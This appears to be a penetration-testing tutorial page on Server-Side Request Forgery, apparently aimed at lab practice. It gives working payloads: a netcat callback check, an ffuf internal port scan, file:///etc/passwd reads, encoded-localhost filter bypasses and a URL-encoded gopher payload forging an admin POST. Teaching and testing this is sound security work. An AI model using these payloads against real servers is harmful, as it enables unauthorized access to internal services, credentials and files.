> ## Documentation Index > Fetch the complete documentation index at: https://0-x.dev/llms.txt > Use this file to discover all available pages before exploring further. # Server Side Request Forgery (SSRF) [Server-Side Request Forgery (SSRF)](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery) is a vulnerability that allows an attacker to manipulate a web application into sending requests from the server. It typically occurs when an application fetches a remote resource (an image, a PDF, a "fetch URL" field, e.g.) based on user controlled input. Successful exploitation can let an attacker reach internal only services, bypass network restrictions and read local files. ## Identifying SSRF Start by looking for any parameter, header, or file upload that causes the server to make an outbound request on your behalf, URL fetchers, PDF/image renderers, webhook/callback URLs, "import from URL" features, link previews, e.g. To confirm it, point the parameter at yourself first: ```shellscript theme={null} # start a netcat listener nc -lvnp 4444 # then set the vulnerable parameter to your http://:4444 vulnerableParam=http://:4444 ``` If a connection comes in, the server is making the request. Once confirmed, probe internal addressing to map what the server can reach: ```shellscript theme={null} http://127.0.0.1 http://127.0.0.1: http://localhost http://[::1] ``` Enumerate internal ports/services behind the SSRF with ffuf, using a response based filter to spot the difference between open and closed ports: ```shellscript wrap theme={null} ffuf -w ./ports.txt -u http:///index.php -X POST -d "dateserver=http://127.0.0.1:FUZZ" -fr "Failed to connect to" ``` ## URL Schemes If the application accepts a user supplied URL scheme rather than assuming `http(s)://`, the attack surface grows:
Scheme Effect
`http://` / `https://` Standard HTTP/S request, used to reach internal endpoints, bypass WAFs, or hit cloud metadata services
`file://` Reads a file from the local filesystem (Local File Inclusion via SSRF)
`gopher://` Sends arbitrary raw bytes to a TCP socket, used to forge POST requests or speak to non-HTTP services (SMTP, Redis, MySQL, etc.)
`dict://` Queries a dictionary-protocol server, useful for banner-grabbing and probing Redis/Memcached
`sftp://` Secure file transfer, can be abused to probe for an open SFTP service
`tftp://` Transfers data over UDP - sometimes slips past filters that only block TCP schemes
`ldap://` Can be used to interact with LDAP services
### Local File Inclusion (`file://`) Since the scheme is attacker-controlled, reading local files is often as simple as entering: ```shellscript theme={null} file:///etc/passwd ``` This only returns the raw file content (no code execution), but it's useful for reading configuration files, source code, and SSH keys from the local disk. ## Bypassing Filters & Whitelists Applications often try to block SSRF by blacklisting `localhost`/`127.0.0.1` or whitelisting specific domains. Common bypasses: * **Alternate IP representations of localhost** ```shellscript theme={null} http://127.1 http://0.0.0.0 http://0177.0.0.1 # octal http://2130706433 # decimal http://0x7f.0x0.0x0.0x1 # hex http://[::ffff:127.0.0.1] # IPv6-mapped IPv4 ``` * **Open redirects**: if the whitelist check only validates the *first* request, chain through a redirect you control (`http://allowed-domain.com/redirect?url=http://127.0.0.1/`) to land on the real target. You can find a more detailed list of bypasses in the PayloadsAllTheThings' [SSRF bypass cheatsheet](https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Request%20Forgery/#bypass-localhost-with-a-domain-redirect). ## Sending POST Requests via Gopher Most basic SSRFs only let you issue GET requests. The `gopher://` scheme lets you send arbitrary bytes to a TCP socket, which means you can craft a HTTP request to reach endpoints that only accept POST. Say the target endpoint expects: ```shellscript theme={null} POST /admin.php HTTP/1.1 Host: dateserver.htb Content-Length: 13 Content-Type: application/x-www-form-urlencoded adminpw=admin ``` All special characters need to be URL-encoded to build a valid gopher URL, spaces become `%20` and newlines become `%0D%0A`. Prefix the encoded data with the scheme, target host, port, and an underscore: ```shellscript wrap theme={null} dateserver=gopher%3a//dateserver.htb%3a80/_POST%2520/admin.php%2520HTTP%252F1.1%250D%250AHost%3a%2520dateserver.htb%250D%250AContent-Length%3a%252013%250D%250AContent-Type%3a%2520application/x-www-form-urlencoded%250D%250A%250D%250Aadminpw%253Dadmin ``` Gopher isn't limited to HTTP, it can talk to any TCP service, including SMTP, Redis, and MySQL. Hand-building these payloads is not that easy, so use [Gopherus](https://github.com/tarunkant/Gopherus) to generate them automatically for a target service: ```shellscript theme={null} python2 gopherus.py --exploit mysql python2 gopherus.py --exploit smtp ``` ## Quick Reference Tools > [card] [Gopherus](https://github.com/tarunkant/Gopherus) > > Generates gopher payloads for MySQL, Redis, FastCGI, SMTP, and more. > [card] [SSRFmap](https://github.com/swisskyrepo/SSRFmap) > > Automates SSRF exploitation (port scan, file read, cloud metadata, etc.) from a captured request. > [card] [PayloadsAllTheThings: SSRF](https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Request%20Forgery/#bypass-localhost-with-a-domain-redirect) > > Large collection of localhost/whitelist bypass payloads. > [card] [HackTricks: SSRF](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/index.html) > > Broader bypass catalogue and protocol-smuggling tricks. > [card] [HackTricks: Cloud SSRF](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) > > Per-provider metadata endpoints and header requirements (AWS, GCP, Azure, etc.). > [card] [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html) > > Defensive reference, useful for understanding what mitigations you're likely to run into. This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.